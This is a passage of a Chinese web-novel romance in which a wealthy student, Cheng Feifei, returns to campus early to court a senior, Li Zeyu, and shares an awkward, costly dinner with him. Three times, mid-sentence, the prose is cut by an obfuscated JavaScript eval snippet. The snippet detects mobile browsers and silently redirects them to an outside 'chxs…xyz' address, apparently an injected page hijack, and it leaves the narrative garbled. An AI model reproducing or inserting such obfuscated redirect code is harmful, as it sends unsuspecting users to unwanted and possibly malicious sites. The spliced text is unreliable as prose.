程霏霏的眼珠心虚地乱转,义正辞严地强调:“先说好,我只是看不过去而已,没有任何占你便宜的意思。” 说着,也没管对方同意与否,掀起少年的病号服,小心翼翼地避开伤口,开始帮他擦拭身上的污迹。 “先将就一下,等你能动了,再自己收拾吧。” 仔仔细细地擦了二十分钟,程霏霏掌握着力道和角度,动作尽可能轻柔。 血迹褪去,露出少年白皙的肌肤和紧实的肌肉线条——他也没有看上去的那么瘦。 一遍下来,程霏霏的鼻尖上沁出了汗,忍不住腹诽,这活还真不好干。 洗毛巾的间隙,她看到走廊上拖地的护工阿姨,立刻上前问价,然后愉快地支付了一笔费用。 能花钱解决的问题,程大小姐从不犹豫。 临走之前,程霏霏从挎包里摸出一支口红,拿过那枚录取通知书的碎片,在背面写下一串电话号码。 “这是我的电话,你如果有任何需要,就让护工打给我。” 她看向床上的人:“清楚的话,就眨两下眼睛。” 少年的眼角弯了弯。 然后缓缓地,眨了两下。 4. 04 夕阳西下的时候,程霏霏揉着酸软的胳膊走出了医院大门。 手机上一堆未读信息,她挨个点开。 三人闺蜜群里,任可心刚刚发了一张自拍。 画面上,她举着麦克风,背景光扑朔迷离,明显就是在KTV的包厢里。 任可心身后,黎玥支着下巴,陷在沙发卡座中,臊眉搭眼地刷着手机。 任可心:【霏霏,黎玥陪我来唱K啦!】 程霏霏:【你昨天还没唱够?】 任可心:【那只是开嗓,小试牛刀而已,今天才是主菜!】 黎玥:【某个人来火车站接我,说是要给我接风,结果就是来KTV听她唱歌,这么明目张胆的欺诈谁来管管?】 说完还发了张自己行李的照片:一只箱子在KTV的包厢里孤独地立着,显得那么格格不入。 任可心:【三个果盘,我的诚意已经尽数体现!】 黎玥:【精神损失费也请结一下。】 两个人在群里唇枪舌剑,你来我往。程霏霏退出姐妹掰头,回到首页的时候,看到消失已久的李泽昱竟然给她回了一条微信。 【学妹,不好意思,之前跟导师在山中,手机信号不太好,我已回到学校,不必担心。】 程霏霏的心顿时雨过天晴,赶紧在医院门口拦下一辆出租车,欢喜地钻了进去。 “师傅,麻烦去江城!” * 在程霏霏的催促下,司机不敢耽搁分毫,风驰电掣一般地将她送回了位于江城市区的家。 她喜滋滋地冲进家门,抬脚将鞋子踢飞,然后直奔二楼自己的房间。 打开衣柜,拖出一只行李箱,二话不说,就开始打包。 夏末的百无聊赖消失殆尽,程霏霏精神抖擞,决定要立刻返校。 她把衣服囫囵堆进箱子里,又跑去房间的各个角落收拾零碎的小物件。 书桌的抽屉拉开,程霏霏一眼瞟到最中间的隔断里,放了一只墨灰色的钥匙皮扣。 仿佛心中的情绪按钮被按下,手上急躁的动作瞬间便慢了下来。 她小心翼翼地拿起那只皮扣,在手心里爱惜地摩挲了几番,眼神温柔。 皮扣有些年头了,因为经常把玩,边缘已经磨出了毛边,但仍能看得出精良的做工、柔和细润的皮质——是手工制作的牛皮钥匙扣,男款。 美中不足的是,皮带另一端挂着的金属环扣如今只剩下半截,看着像是被外力硬生生掰断的。 手指抚上去,可以摸到断口处镌刻着米粒大小的英文字母——Yu。 程霏霏将断掉的钥匙扣按在胸前,闭上眼,仿佛又回到了那个酷热的夏天。 可乐的气泡在耳边咕噜咕噜地炸开,风吹过,丝丝清凉钻进心底,安抚下所有焦灼和忐忑,让人一甜就是好几年。 眼前浮现出李泽昱带着笑意的双眼。 想到李学长,程霏霏的嘴角无声上扬,勾起一弯小巧清甜的弧度。 她不再耽搁,将钥匙扣小心翼翼地装进行李箱的侧兜,接着收拾剩下的东西。 箱子很快满载。 程霏霏撸起袖子,轻松提起半人高的行李箱。下楼梯的时候健步如飞,连个磕绊也不打。 箱子往出租车上一扔,直奔江城大学。 * 作为赫赫有名的全国重点高校,江城大学坐落于江城市的东侧。地势依山而建,傍湖听涛,已有百年历史。 虽是暑假期间,校园里的人也并不少。此刻,太阳堪堪落山,一轮新月挂上枝头,伴随着阵阵若有似无的蝉声,整个校园已经准备好进入静谧的夜晚。 黎玥从浴室里出来,双手抱着宽毛巾,擦拭湿淋淋的头发。 偌大的寝室空荡荡的,箱子摊在地上,桌上放着从KTV打包回来的水果,满满两大盒。 任可心大概忘了寝室里没有冰箱,这么多水果,她一个人怎么吃得完。 黎玥插起一大块芒果送进嘴里,嚼得嘴巴都鼓起来,顺手将风扇的角度调了调,确保能直吹到自己的脸。 慢风打着卷涌过来,温热拂面,没有一丝凉意,可黎玥还是觉得惬意又舒爽。 她能一个人独享一间房的时间并不多。 整个暑假,除了在外兼职,黎玥在家的时间几乎都被人声填满。 熬了二十年,爸妈终于从郊区的老破小搬进了宽敞的电梯房,比之前的房子大了许多,黎玥也终于拥有了自己的房间。 可是她前脚刚放假,哥哥一家后脚就跟着搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861475|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了进来。 嫂嫂马上生二胎,大侄子又正值闹腾的年纪,一家六口挤在一个屋檐下,黎玥一个暑假过得心力交瘁,压根没睡几个安稳觉。 离家之前,妈妈还掉了几滴眼泪,看上去似乎很舍不得她。但黎玥知道,她走了,家里能住得松快些,妈妈心里也是盼着的。 “以后还是少回去吧。” 黎玥嚼着这一夏天也吃不着一回的水果,明明很甜,嘴里却带上了涩。 “一个人待着,谁也挤不着我。” 她又叼了一块哈密瓜,将脑袋怼在风扇前,闭眼享受着大号吹风机的服务。 忽然,只听“哐当”一声响,寝室的门赫然大开——她那本应该在家悠然度日的室友程霏霏,提着个箱子急吼吼地冲了进来。 黎玥:“……” 程霏霏对着室友光速打了个招呼,动作潦草得仿佛两人只是分开了一节课的光景,而不是一整个假期。 她将箱子往自己的书桌下一推,打开衣橱,开始换衣服。 黎玥惊讶地问:“霏霏,你怎么回来了?还是这个时间?” 在她看来,作为本地人的程霏霏,哪怕在上课前的最后一秒钟踏进教室,也完全说得过去。 霏霏家房子大,妈妈工作忙,爸爸和哥哥又各有各的住处,完全不需要去任何地方躲清静,更不必提前回来住这简陋的学生宿舍。 程霏霏随口应了一声,手上的动作却不停。 只见她把身上的衣服脱了,兜头套上一条质感廉价的碎花连衣裙,两手拢了拢披散的长发,动作麻利地盘出一只秀气的花苞头,正在对着镜子梳刘海。 “我看起来怎么样?” 黎玥眼睁睁看着她从一个甜酷潮妹变身小家碧玉的乖巧淑女,迎着那桃腮杏脸,一句“好假”在嘴边咂了又咂,怎么也没法说出口。 最终,只能无奈地竖起一根大拇指。 “很好!”程霏霏满意地一笑,在室友“实在没眼看”的目光中,潇洒地挥手出门。 她脚步匆匆,到门口却突然一个急刹,回身拿起架子上的遥控器,“叮”一声打开了墙上的空调。 “对自己好点,别只顾着省电!” “砰”的一声,门在程霏霏身后关上。 5. 05 程霏霏一路小跑到男生宿舍楼下的时候,额头上已经沁出一层薄薄的细汗。 看了看手机,这个点,李泽昱应该快回宿舍了吧? 果不其然,大约十分钟之后,小道的尽头就出现了她朝思暮想了一整个暑假的人。 李泽昱提着一只打包袋,和另一个男生聊着天走过来。那个男生程霏霏也认识,是李泽昱的室友,周韬。 隔着老远,周韬先看到了程霏霏,立刻拽了拽李泽昱的袖子。 李泽昱抬眼往这边瞧,对上程霏霏笑弯的眉眼。 他也立刻笑起来,眉眼温柔如水,姿态文质彬彬。程霏霏觉得,连那天边的那抹夕阳都好似更明亮了几分。 李泽昱温和地打起招呼:“程学妹,你怎么在这儿?” “我今天返校。”程霏霏不自觉地迎上来,眼含秋波,声音娇软得仿佛能掐出水,“好巧啊,学长!” 周韬扫了一眼前方的男生宿舍楼,心说都等在这里了,巧什么巧。 可李泽昱仿佛完全没有识破这拙劣的“偶遇”伎俩,脸上笑意不变:“是挺巧的,你怎么这么早就返校了?” “我在家里也没什么事情,就想早点回来,可以……打打工。”程霏霏灵机一动,找到一个符合人设的由头,“学长你呢,暑假的行程还顺利吗?” “嗯,整体算比较顺利。这次有幸跟着导师出门一趟,获得很多实践的机会。”说到这里,李泽昱目露歉意,“就是没能及时回复你的微信,不好意思啊。” 程霏霏笑眯眯地摇了摇头:“不妨事的,无非就是请教的题目没有及时得到回复,我自己苦恼了很久而已。” 一旁偷听的周韬:“……” 据他所知,这位程学妹好像是什么播音主持专业的。一个艺术生,怎么会需要解数学题? 而且,这口气听上去,一点也不像不介意的样子啊。 李泽昱却淡定如常,仿佛丝毫没有觉得不妥。他从善如流地说:“为了表达我的歉意,我请学妹你喝杯奶茶如何?” 程霏霏笑得更开心了,满意地点了点头。 李泽昱将手中的袋子递给室友,和程霏霏肩并着肩往学校的后街走去。 周韬无语地撇了撇嘴,低头看了一眼袋子里打包好的两杯柠檬茶,转身进了寝室楼。 * 正值暑假,后街上的生意虽不如平时火爆,也称得上人流不绝。 程霏霏的目光从鳞次栉比的招牌上一一飘过,装模作样地掩饰一番,才转过来,停在身侧李泽昱的脸上。 一个夏天不见,他好像晒黑了些,脸颊泛着清爽的小麦色。秀气的鼻梁上架着一副纤薄的黑框眼镜,衬得他一如既往的斯文儒雅。 程霏霏皱了皱眉:“学长,你换眼镜了啊?” “嗯。”李泽昱笑得柔和,“之前的那副不小心摔坏了。” “哦。”程霏霏不咸不淡地点头。 “我记得,那副眼镜还是你赔给我的。”像是想起了什么有趣的事,李泽昱侧过脸,噙着笑看她。 程霏霏的目光重新亮了起来:“学长,你还记得呀?” “当然记得。不是和谁第一次见面,都那么充满戏剧性的。”李泽昱脸上的笑意更深。 程霏霏有些不好意思:“那次幸亏遇到你,要不我就赶不上面试了。于情于理,我都应该谢谢你,赔你一副眼镜是应该的。” 少女羞涩一笑,白皙的苹果肌上漫起一抹桃粉,睫毛轻轻颤动。她本就长得清纯,搭配着娇滴滴的碎花裙子,更显出一丝不谙世事的天真。 李泽昱垂目盯着,心下微痒。 他突然很想伸出手,拂一拂那垂落在白皙耳旁的碎发。 “新眼镜也好看。”程霏霏真诚地夸赞,“很衬你。” 李泽昱摩挲了一下掌心,眼神从那桃花一样的面颊上挪开,清了清嗓子。 “对了,你做家教的那个孩子怎么样了?数学还是很头疼吗?” “嗯?”程霏霏一愣,心虚地眨了眨眼,“还……还可以吧。” “我如今返校了,你如果有需要,随时可以来问我。”李泽昱笑得温和。 “好,好啊。” 程霏霏笑吟吟地应着,心里却在想——刚刚走得太着急,忘了问一问黎玥,她辅导的那个小孩有没有什么新料可以拿出来讲。 两个人就这样聊着天,在日暮残光的街头随意溜达着。 不知不觉间,就走出了江大后街,来到外面的商业街上。 程霏霏认真倾听着李泽昱旅途中的趣事,很捧场地适时发出赞叹;一双眸子却没闲着,刚刚转过街角,就被一家新开的西餐厅吸引住。 餐厅是一幢独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861476|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栋小楼,典型的西式风格。楼体纯白,镶嵌着层次分明的黑色线条,两厢搭配,颇具质感。 餐厅的招牌是椭圆形的,设计感十足。中间一个大大的英文花体“LOOK”,两侧由暖白色的夜灯拼出“鹿客”二字,在朦胧的薄暮中,散发出柔和的情调。 程霏霏有些惊讶:“这里什么时候新开了家餐厅?” 李泽昱猜测:“大概是暑假期间开的,之前还没有。” 程霏霏点点头,心想这餐厅外观不俗,看着就不便宜,回头一定约上她的姐妹们来尝尝。 正要接着往前走,忽然,身后响起一道惊喜的尖叫:“李学长,这么巧!” 程霏霏在心里翻了个白眼——真是冤家路窄。 夜色中,一个身材火辣的女孩踩着细跟凉鞋噔噔地跑了过来。 她穿着紧身的超短裙,蚊子腿一般的假睫毛在脸上扑闪,放着电一般,对李泽昱粲然而笑:“一个暑假没见,竟然在这里遇见了呢,咱们可真是太有缘分了!” 咯咯笑了好一会,视线才转向一旁的程霏霏,不冷不热地招呼一声:“程霏霏,你也在啊。” 程霏霏眯起眼睛,嘴角勾勒出并不愉悦的笑容:“嗯,我们出来散个步。” 姚安琪甩了甩披肩的长发,露出一字肩下漂亮的锁骨,含情脉脉地重新看向李泽昱。 李泽昱依旧是那副温和的模样:“我答应了程学妹,请她出来喝杯奶茶。” 听到这话,姚安琪的笑容更灿烂了:“那学长可不能偏心,只请她,不请我吗?” 眼见李泽昱就要点头,程霏霏心下一急,赶紧插嘴道:“姚安琪,你吃晚饭了没?” 姚安琪手里拎着某家茶餐厅的甜品袋,一看就是刚从那里出来。果然,听到这话,她笑眯眯地答:“吃过了,所以,正好可以来一杯甜甜的餐后奶茶呢。” 程霏霏笑得滴水不漏,一只手却挽上李泽昱的胳膊,轻轻晃了晃:“学长,我还没吃晚饭呢,我们去这家餐厅吃饭好不好?” 她指了指“鹿客”的招牌。 还没等李泽昱点头,程霏霏便转向姚安琪,万分遗憾地说:“既然你已经吃过了,我们就不邀请你咯,改日再聚吧!” 说着,连拉带拽地把李泽昱架进了餐厅。 留下姚安琪一个人在原地,懊恼地跺了跺脚。 6. 06 新开业的店铺还没有广为宣传,店里只有零星几桌客人。 大厅里放着舒缓的轻音乐,一个穿着条纹T恤的寸头小哥正埋头在柜台里算账,看见人进来,笑得有些憨厚:“二位好啊,喝咖啡还是吃晚饭?” “你这是咖啡馆还是饭店?”程霏霏疑惑地问。 “都有!”小哥咧嘴一笑,很热情地介绍,“我们这儿功能齐全,要啥有啥。一楼是西餐厅,二楼的玻璃房连着露台是咖啡厅,满足您的一切需求。” 程霏霏扫了眼宽敞的一楼餐厅。 虽然还没完全布置好,已经能看出店主对品质的追求——法式琉璃吊灯下,蒂凡尼蓝的桌布搭配白色餐巾,干净有品。桌上一尘不染,杯盘锃亮,连纸巾架都是白瓷小天鹅的形态。 程霏霏确信,一旦开学,这地方势必会成为江大学生争相打卡的新兴宝地。 她看了眼笑容殷切的圆脸小哥——整个餐厅最大的败笔,怕就是这位土穿地心的服务员了。 李泽昱已经在外侧的一张桌子前坐下,拿起菜单,递给程霏霏:“学妹,想吃点什么?” 程霏霏噙着笑打开菜单,却狠狠一愣。 好家伙,这菜品的价格,和装修的品味一样,都挺有格调啊。 作为一个从小不识柴米油盐贵的富家女,程霏霏在上大学之前,对物品的“价格”,其实并没有太清晰的概念。 除了爸妈和哥哥不时给一些大额零花钱以外,她自己还有几张高额副卡,至今都闹不清究竟是谁在替她还……总之,刷起来从不过脑。 身边的朋友也都是差不多的出身,一起出去玩的时候,没人计较过什么人均消费。 这导致程霏霏有很长一段时间,一直以为整个世界都是如此。直到她上了大学,跳出了金堆玉砌的小圈子,接触到来自五湖四海、背景各异的同学们,才渐渐告别了何不食肉糜的天真。 此刻,这本菜单攥在手里,微有些发烫。 她犹豫地摩挲着菜单硬质的边角,眼神从上方探出,向对面扫去,捕捉到李泽昱脸上一闪而逝的淡淡尴尬。 说好的请喝奶茶,结果硬给人升级成一顿饭;还不是普通的饭,而是价格不菲的西餐。程霏霏懊恼地想,她怎么提了这么个鬼建议,把人带进了这样烧钱的地方? 装模作样地将菜单浏览一遍,程霏霏兴致缺缺地说:“学长,这里的东西看着就油腻。大热天的,咱们去吃点清淡的吧?” 闻言,李泽昱也放下菜单。翻开的页面上满是精致的各色沙拉,要多清淡,有多清淡。 只是这普普通通的一盘蔬菜,动辄就要三位数。李泽昱有点不懂,一个大学旁边的西餐厅,怎么敢这么定价? 可是,他人已经坐在这里了。对面是笑容甜美的学妹,旁边还站着一脸热情的服务员等着点菜。他们要是这时候走,指不定会被服务员如何取笑。 李泽昱的嗓子有点紧:“……这么晚了,就在这里吃吧,怕你饿坏了。” 程霏霏依旧弯着眼睛,唇边的弧度却少了几分自然。 圆寸小哥的目光在两个人之间扫了个来回,忍不住低声开口:“同学,这条街头上有一家平价中餐馆,你们要不要去试试?我上次带家里人吃过,觉得味道还行。” 一番话说得诚恳,口气不带一丝揶揄。程霏霏忍不住仔细打量了下这位小哥,好奇地问:“你是老板吗?” 小哥不好意思地摸摸脑壳:“不敢当,我只是个小店长而已。咱们刚刚试营业,还没招到服务员,所以我啥都干点。” 程霏霏对他感激地一笑,正欲提包走人,李泽昱却从菜单里抬起头,嘴角带着一丝僵硬,脖子到耳朵根都有些涨红。 他抿了抿唇:“不用了,我们又不是吃不起,就在这里吃。” 程霏霏有些讪讪,虚虚站了一会儿,只得又坐下。 她扒拉着菜单,紧着最便宜的点了几样。 等菜的间隙,她拿出手机,往姐妹群发了条消息:【一顿饭三百块是什么水平?】 任可心秒回:【姐妹一顿下午茶的水平?】 黎玥:【有人请客行,自己请客不大行的水平。】 程霏霏:【……】 黎玥:【你和谁吃?】 程霏霏:【李泽昱。】 任可心:【那没事,这点钱对李学长来说,小意思啊。】 程霏霏皱了皱眉。 李泽昱身为江城大学风生水起的人物,人缘极好,追随者众多。因着他不俗的仪表和大方得体的气场,大家自然而然的就默认,他家境亦是不俗。 可是程霏霏记得,她刚认识李泽昱那会儿,有一次在街上碰到他回家,出于猎奇的心理,悄摸着跟了一路,看到他进了一片市井气十足的老小区。 破旧的小区里,几栋老龄板式楼泛着旧色,紧巴巴地挨在一起。外墙上挂满了晾晒的衣物,像随风招展的旗幡,向全世界诉说着日暮途穷的不甘。 自那之后,程霏霏在李泽昱面前,就渐渐经营出了另一种人设。 此刻,她看着群里的聊天,“啪”的一声将手机倒扣在桌面上,内心又将刚刚提议来吃饭的自己拖出来鞭尸了无数遍。 想了想,还是委婉地提议:“学长,是我要来吃饭的,这顿的钱就由我来付,好不好?” 李泽昱看了她一眼,没有说话。 就在程霏霏心里打鼓的时候,李泽昱突然伸长胳膊,替她将脸颊上的碎发挽至耳后。 “一顿饭而已,学长请得起。” 程霏霏呆呆地看着他眉宇间的笑容,脸上还残存着刚刚触碰的余感。 李泽昱的动作一触即收,因为圆寸小哥开始上菜了。 而程霏霏还沉浸在肌肤相触的悸动中,拿起叉子,心不在焉地吃着。心里像灌满了甜津津的蜜浆,哪里还记得要请客? 李泽昱瞧着她脸上的笑容,心中一阵麻软,好似被什么东西轻轻蛰过,酸涨难消。 他们就这样各怀心事地吃完了一顿饭。 饭后,李泽昱送程霏霏回去。 星空皎洁,月明如水。 女生宿舍楼下,程霏霏依依不舍地说:“学长,谢谢你今天请我吃饭,改天我回请你吧?” 李泽昱体贴地回答:“不必了,你做家教那么辛苦,挣了钱还是先留给自己花。” 说着,又伸出手,温柔地摸了摸程霏霏的头顶。 程霏霏抿着唇,乖乖任他动作,羞涩得不敢抬眼。 李泽昱看着眼前清丽的少女,忙碌了一天的疲惫都淡去了许多。 他忽然觉得,繁琐的课业和学生工作之外,自己或许可以分出一些心思,试着回应一下这份执着的心意。 “霏霏。”他心里想着,便连称呼也改了口。 “嗯?”程霏霏抬起一双水眸,定定地望过来,眼睛里盛满了毫不掩饰的倾慕。 似被这灼人的爱意蛊惑了,李泽昱听见自己说:“如果,你真想谢我的话……后天,我们要搬宿舍,你愿不愿意过来帮我的忙?就,随便帮着收拾一下。” 程霏霏当然乐意,爽快地答应下来。 两人约定好后天再见。程霏霏在李泽昱的目送中,满心欢喜地上了楼。 …… 李泽昱在夜色中独自站了一会儿。 宿舍楼下,女生们三两相携,有说有笑地经过。偶尔有人认出他,热情地过来打个招呼,他都回以春风般的温和,让人忍不住心生好感。 他对身边的女孩子都是这样,不主动,也不拒绝,永永远远一团和气。 像程霏霏这般,对他心怀希望的女孩子有很多;可是,和她一样坚持了这么久的,却很少。 不知是被这仲夏的微风迷醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861477|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了心志,还是今晚的程霏霏实在动人,李泽昱破天荒的,有些没把持住。 他忽然觉得,身边有这样一位乖巧的可心人,好像也不是什么坏事。 * 李泽昱散着步,不慌不忙地回了寝室。 一进门,室友周韬戴着全包耳机,对着电脑骂骂咧咧地敲键盘。显示屏上,游戏画面精彩纷呈,枪战正酣。 李泽昱来到自己的书桌边,拿起那杯挂满了水珠、已经完全常温了的柠檬茶,戳开纸盖,吸了两口。 周韬扒下耳机,斜眼瞧他:“你没喝奶茶?” 李泽昱“嗯”了一声,摘下眼镜,捏了捏发酸的鼻梁:“刚和程霏霏吃完饭。” 周韬一听,游戏也不打了,拖着凳子挪过来。 “你们还去吃饭了?你该不会,真的喜欢那个程霏霏吧?” 李泽昱的动作一顿:“她不好吗?” “唔,还行吧。”周韬挠了挠下巴,慢条斯理地道:“长得挺纯的,对你上赶着也不是一天两天了。就是,怎么说呢,这天天又兼职又家教的,一看就是普通家庭出身的……” 李泽昱脸上现出一丝不易觉察的羞恼:“普通家庭出身的怎么了?” “我不是那个意思。”周韬将耳机一丢,斟酌了下用词,“对普通人来说,程霏霏当然算是良配。可你是谁啊,你可是江大的学生会副主席——李泽昱!” “你看你这条件,成绩不错,人长得帅,人缘又好,喜欢你的姑娘那么多,想要什么样的没有?” 周韬想了一圈,逮住一个名字:“就说外院那个院花,叫姚安琪的,有钱、漂亮、家世也好。怎么看,都比程霏霏这种只有一张脸的普通学生妹强!当然,你要是就好小白花这一口,当我没说。” 李泽昱淡淡一笑:“瞧你说的,好像可着我随便挑一样。” 周韬正色道:“可不就是!你李泽昱不挑,还轮得到谁挑?江大学生论坛上那个评选校草的帖子里,现在还飘着您老的玉照呢!” 他恨铁不成钢地戳了戳李泽昱的肩膀:“我要是有你这条件,非资源置换个大的不可,这辈子少奋斗二十年!” 李泽昱笑着踹了他一脚:“少胡说八道,滚回去打你的游戏去!” 他掏出手机,想给程霏霏发个睡前微信,手机上忽然弹出新来电。 李泽昱端着半杯柠檬茶,来到阳台,关上门,将噼里啪啦的键盘声隔绝在室内。 迎着微醺的夏风,他伸了个懒腰。 “喂,妈,这么晚了,什么事?” “阿昱,关于你想申请去香港交流的那个项目,爸妈考虑了一下,还是觉得……性价比不太高。” 李泽昱伸展的动作僵在半空,没有答话。 话筒里只余沉默的呼吸声。 那边顿了顿,接着道:“咱家的情况你也清楚,房子还建的政策迟迟不下来,新房那边还有房贷。爷爷的病反反复复,每年都要吃药。你爸一直想换车,总是舍不得,他那辆二手桑塔纳开了这么多年,不知道被亲戚朋友笑话了多少回……” “知道了,妈。”李泽昱的声音十分平静,听不出情绪,只是握住电话的手指微微发紧,“我累了,先挂了。” 那边似乎还要说些什么,李泽昱已经抢先挂断了电话。 屏幕上还是程霏霏的对话框。一连串可爱的表情包底下,是编辑了一半的微信。 他盯着这半截文字看了好一会儿,抬起手指,一个字一个字地按了删除。 手机彻底暗了下去。 李泽昱俯瞰着阳台外的夜色,脑子里闪过诸多思绪。一会儿是灯光下楚楚可人的程霏霏,一会儿是室友那番纯属歪理邪说、却也算掏心掏肺的逆耳之言。 他仰起头,将手中的柠檬茶一饮而尽。 “噗通”一声,杯子丢进了角落的垃圾桶。 7. 07 程霏霏几乎是连蹦带跳着上了三楼。 一推门,只见任可心正四仰八叉地倒在自己的扶手椅里,被黎玥投喂一片西瓜。 “你怎么在这儿?”程霏霏上前,毫不客气地将人掀起来,“本姑娘的椅子不接外客,边儿上坐着去!” 任可心含着一口瓜,口齿不清地说:“听说你连暑假都不过了,特意赶回学校追男人,我便也来舍命陪君子,提前回来和你们相聚呗。” 说着,又就着黎玥的手吃了一颗葡萄,夸张地嚼了嚼,贼兮兮地凑上去:“怎么样,浪漫的烛光晚餐吃完,人拿下了没有?” 黎玥也含着一大口西瓜,脸上写满好奇。 “倒是没有那么快,不过嘛——”程霏霏眼角眉梢都飞舞着笑意,“学长约我啦,后天去帮他搬宿舍!” 吃瓜的二人:“……” “霏霏,你可别追着追着,给自己追成备胎了啊。”任可心重重叹了口气,恨铁不成钢地说:“自从高三那年,你遇到这个李泽昱,整个人就跟着了魔一样,一发不可收拾。我真是不懂,这姓李的不就是个普普通通的帅哥么,除此以外,看着也没啥特别之处啊,值得你这么喜欢?” 程霏霏跌进自己的大软椅里,嘴角扬起一抹意味不明的笑:“高三?你是说艺考那次?” “除了那次,还有哪次?” 任可心回想往事,捂脸叹息:“我这辈子第一次见到那么硬的搭讪,实在辣眼睛,至今都难以忘怀。” * 在任可心的记忆里,往前数两年,程霏霏还不是现在这个样子。如果要形容一下,大概就是:一朵飘在所有老师头顶上的乌云。 乌云随时准备着,给全世界降下叛逆的雷劫。 除了好好学习,程霏霏没有不干的事。 迟到早退,打架滋事,旷课泡网吧,诱拐他人旷课泡网吧……等等这些,都是普普通通的程大小姐的日常。 不仅如此,她还出奇的高调。比如说,罔顾校规校纪,染了一头亮粉色的及腰长发。 可能是学校门口那家店的染发技术不太行,才染没多久,头发就有些掉色。一头亮粉褪成了雾蒙蒙的古铜金,倒是更加接地气了,还多了几分可盐可甜的气质。 程霏霏皮肤很白,被这发色一衬,显得更加红润有生气。 走在校园里,每每吸引众多视线。 因着这一头不寻常的发色,围绕在程霏霏身上的标签有很多,可是她似乎一点也不在意。 身为发小,任可心也曾暗暗疑惑,她的好姐妹上了高中,怎么变得如此特立独行了? 不过,那个年纪,大家都巴不得和别人不一样,也没甚奇怪的。任可心自己也偷偷打了一排耳洞,藏在头发里,生怕被大人瞧见。 程霏霏高调了一年,把不良少女的名声散播得无人不知,却在高二暑假结束的时候,突然放出狠话——她接下来要痛改前非,好好学习! 不仅如此,还斩钉截铁地表示,一定要考去帝都读大学。 周围的人都有点傻眼,任可心也是。 谁都没有把这番话当真。 可是,豪言放出去之后,程霏霏的壳子里竟然真的如同换了个人。最直接的证据便是,那名声在外、令教导主任心梗了无数次的粉色长发,在夏天结束的时候,悄无声息地变回了黑色。 开学那天,任可心看到一头乌黑秀发、整齐刘海、穿着板正校服的程霏霏,一度怀疑她是不是被什么不可描述的东西附了身。 程霏霏什么也没说,连变身为好学生,都我行我素到懒得解释。 她只是在某天晚自习后,将班主任堵在了回家的路上,理直气壮地质问:“老师,我怎么样才能去帝都念大学?” 结合程霏霏自身的优势——外形好,音色佳,小时候勉强受过点艺术训练,老师建议,她可以考虑走艺术生的道路,去试试播音主持或者表演方向。这样,去好学校的机会,尤其是去帝都的机会,能变得更大。 程家不缺钱,程广材听说闺女有这个志向,简直举双手赞成,恨不得把全市最好的老师都给她请来。 程霏霏在一众老师的帮助下,从零开始进行专业课的学习,同时争分夺秒地恶补文化课。 她还真的挺努力。 整个高三,程霏霏没睡过一场囫囵觉,圈子里的聚会再也不参加,狐朋狗友通通不搭理,整天窝在房间里学习。偶尔出来上个厕所,看到电视上播的古装剧,都要念叨一下中国古代选官制度的演变。 有耕耘就有收获,程霏霏的成绩突飞猛进,终于摆脱了年级吊车尾的恶名。 任可心一直觉得,照这个势头,她姐们儿一定能考去帝都念大学。 ——直到遇见了李泽昱。 高三上学期的期末,作为艺术赛道的考生,程霏霏开始四处奔波,参加大学的艺考。 她本来只瞄准了帝都的高校,可临了,还是扛不住罗美琼和程广材苦口婆心的劝说,不情不愿地在志愿表上添上了江城大学。 唯一一所帝都以外的学校。 考试那天又阴又冷,天空飘洒着濛濛细雨。 任可心陪着她一道来江大面试。 两个人在林荫道上追逐打闹,一个不留神,和彼时正在读大一的李泽昱撞了个满怀,直把人的眼镜给撞飞出去,当场摔得稀烂。 李泽昱没说什么,反倒是程霏霏,不知道犯了什么病,冲上去就拽着人家不让走,非要给人赔眼镜。不答应不行,急得眼睛都红了。 那副样子,仿佛这不是初次邂逅,而是遇到了什么久寻不得的人。 任可心当时就觉得,事情不同寻常。 果不其然,自那之后,程霏霏就彻底歇了帝都的梦想,一门心思要进江大。 程广材和罗美琼都挺惊讶,但江城大学也是很好的学校,还离家近,他们当然开心。 只有任可心知道,这一切都和某个李姓男子脱不了干系。程霏霏怕是对人一见钟情,这才临时改了目标。 “也对,也不对。”程霏霏听完任可心的猜测,表情有些好笑。 “因果关系错了,我并不是为了李泽昱放弃了帝都,而是一开始,我去帝都就是为了找他。” 任可心有点傻眼:“可是我听说,李泽昱就是江城本地人啊,你为什么要去帝都找他?” “因为——那是我第一次遇到他的地方啊。” 程霏霏的目光淡然,有种安之若素的味道。 她想起初遇时的场景…… 记忆就像是慢放的老电影,黏黏糊糊地闪回那个闷热午后的每一帧动线。过去了这么久,程霏霏也有点不确定,那些细节是否真的存在过。 它们在她的梦里反反复复,颠来倒去,发酵得有滋有味。画面说不出得生动绚丽,犹如加上了最饱满的时光滤镜,瑰丽到失真。 可明明,她连他的脸都没有看清。 任可心问:“难不成,那个姓李的救过你的命啊?” 